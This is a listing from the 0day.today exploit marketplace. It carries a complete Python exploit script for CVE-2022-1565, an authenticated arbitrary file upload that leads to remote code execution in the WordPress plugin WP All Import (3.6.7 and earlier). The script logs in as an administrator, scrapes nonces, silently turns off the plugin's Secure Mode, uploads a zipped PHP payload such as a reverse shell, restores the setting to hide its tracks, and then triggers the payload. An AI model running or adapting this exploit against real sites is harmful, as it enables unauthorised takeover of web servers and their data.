0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress WP All Import v3.6.7 - Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated) # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec) # Vendor Homepage: https://www.wpallimport.com/ # Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version) # Version: <= 3.6.7 (tested: 3.6.7) # Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload) # CVE: CVE-2022-1565 #!/usr/bin/python import requests import re import os # WARNING: This exploit does NOT include the payload. # Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work. # If a file with the same name as the payload is already on the server, the upload will OVERWRITE it # # Please notice that I'm NOT the researcher who found this vulnerability # # # # # VULNERABILITY DESCRIPTION # # # # # # The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7. # This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible. # # # # # HOW THE EXPLOIT WORKS # # # # # # 1. Prepare the zip file: # - create a PHP file with your payload (e.g. rerverse shell) # - set the variable "payload_file_name" with the name of this file (e.g. "shell.php") # - create a zip file with the payload # - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip") # # 2. Login using an administrator account: # - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /) # - set the variable "admin_user" with the username of an administrator account # - set the variable "admin_pass" with the password of an administrator account # # 3. Get the wpnonce using the get_wpnonce_upload_file() method # - there are actually 2 types of wpnonce: # - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class. # This wpnonce allows us to change the plugin settings (check the step 4) # - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class. # This wpnonce allows us to upload the file # # 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class # - if the Secure Mode is enabled, the zip content will be put in a folder with a random name. # The exploit will disable the Secure Mode. # By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url). # The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) # - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode. # # 5. Upload the file using the upload_file(wpnonce_upload_file: str) method # - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully. # The response will contain a JSON that looks like this: # {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"} # As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed # # 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method # # 7. Activate the payload using the activate_payload() method # - you can define a method to activate the payload. # There reason behind this choice is that this exploit does NOT provide any payload. # Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters # # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # # # According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page" # I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?) # I had to find a workaround and so I did, by exploiting this option. # WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7 # # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # # # In order for the exploit to work please consider the following: # 1. check the target_url and the admin credentials # 2. check the path of the zip file and the name of the payload (they can be different) # 3. if you're testing locally, try to set verify_ssl_certificate on False # 4. you can use print_response(http_response) to investigate further # Configure the following variables: target_url = "https://vulnerable.wp/wordpress" # Target base URL admin_user = "admin" # Administrator username admin_pass = "password" # Administrator password zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip) payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell) verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed. # Do NOT change the following variables wp_login_url = target_url + "/wp-login.php" # WordPress login page wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here re_enable_secure_mode = False session = requests.Session() # This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files. class PluginSetting: # Regular Expression patterns pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>' pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>' pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};' http_response: requests.Response is_secure_mode_enabled: bool wpnonce_edit_settings: str wpnonce_upload_file: str def __init__(self, http_response: requests.Response): self.http_response = http_response self.check_if_secure_mode_is_enabled() self.retrieve_wpnonce_edit_settings() self.retrieve_wpnonce_upload_file() def check_if_secure_mode_is_enabled(self): # To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked # <input type="checkbox" value="1" id="secure" name="secure" checked="checked"> regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve plugin settings. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.is_secure_mode_enabled = "checked" in regex_search.group() def retrieve_wpnonce_edit_settings(self): # You can find this wpnonce in the source file by searching for the following input hidden: # <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9"> # 052e2438f9 would be the wpnonce for editing the settings regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.wpnonce_edit_settings = regex_search.group(1) def retrieve_wpnonce_upload_file(self): # You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b'; # dee75fdb8b would be the wpnonce for the upload regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable") # print_response(self.http_response) # for debugging exit() self.wpnonce_upload_file = regex_search.group(1) def wp_login(): global session data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 } login_cookie = { "wordpress_test_cookie" : "WP Cookie check" } # allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found. # Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not print("Trying to login...") response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate) if response.status_code == 302: print("Logged in successfully!") return # print_response(response) # for debugging print("Login failed. If the credentials are correct, try to print the response to investigate further.") exit() def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response: global session if set_to_enabled: print("Enabling secure mode...") else: print("Disabling secure mode...") print("Edit settings wpnonce value: " + wpnonce) data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 } response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate) if response.status_code == 403: print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?") # print_response(response) # for debugging exit() return response def switch_back_to_secure_mode(): global session print("Re-enabling secure mode...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if plugin_setting.is_secure_mode_enabled: print("Secure mode is already enabled") return response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if not new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been re-enabled") # print_response(response) # for debugging exit() print("Secure mode has been re-enabled!") def get_wpnonce_upload_file() -> str: global session, re_enable_secure_mode # If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload # If Secure Mode is already disabled, it just returns the wpnonce for the upload print("Checking if secure mode is enabled...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if not plugin_setting.is_secure_mode_enabled: re_enable_secure_mode = False print("Insecure mode is already enabled!") return plugin_setting.wpnonce_upload_file print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.") response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been disabled") # print_response(response) # for debugging exit() print("Secure mode has been disabled!") re_enable_secure_mode = True return new_plugin_setting.wpnonce_upload_file def upload_file(wpnonce_upload_file: str): global session print("Uploading file...") print("Upload wpnonce value: " + wpnonce_upload_file) zip_file_name = os.path.basename(zip_file_to_upload) upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))} data = { "name" : zip_file_name } response = session.post(url=upload_url, files=files, data=data) if response.status_code == 200: print("Server replied with HTTP 200 OK. The upload should be completed.") print("Payload should be here: " + payload_url) print("If you can't find the payload at this URL, try to print the response to investigate further") # print_response(response) # for debugging return 1 else: print("Something went wrong during the upload. Try to print the response to investigate further") # print_response(response) # for debugging return 0 def activate_payload(): global session print("Activating payload...") response = session.get(url=payload_url) if response.status_code != 200: print("Something went wrong: could not find payload at " + payload_url) # print_response(response) # for debugging return def print_response(response:requests.Response): print(response.status_code) print(response.text) # Entry Point def Main(): print("Target: " + target_url) print("Credentials: " + admin_user + ":" + admin_pass) # Do the login wp_login() # Retrieve wpnonce for upload. # It disables Secure Mode if needed, then returns the wpnonce wpnonce_upload_file = get_wpnonce_upload_file() # Upload the file file_uploaded = upload_file(wpnonce_upload_file) # Re-enable Secure Mode if needed if re_enable_secure_mode: switch_back_to_secure_mode() # Activate the payload if file_uploaded: activate_payload() Main() # 0day.today [2024-12-24] #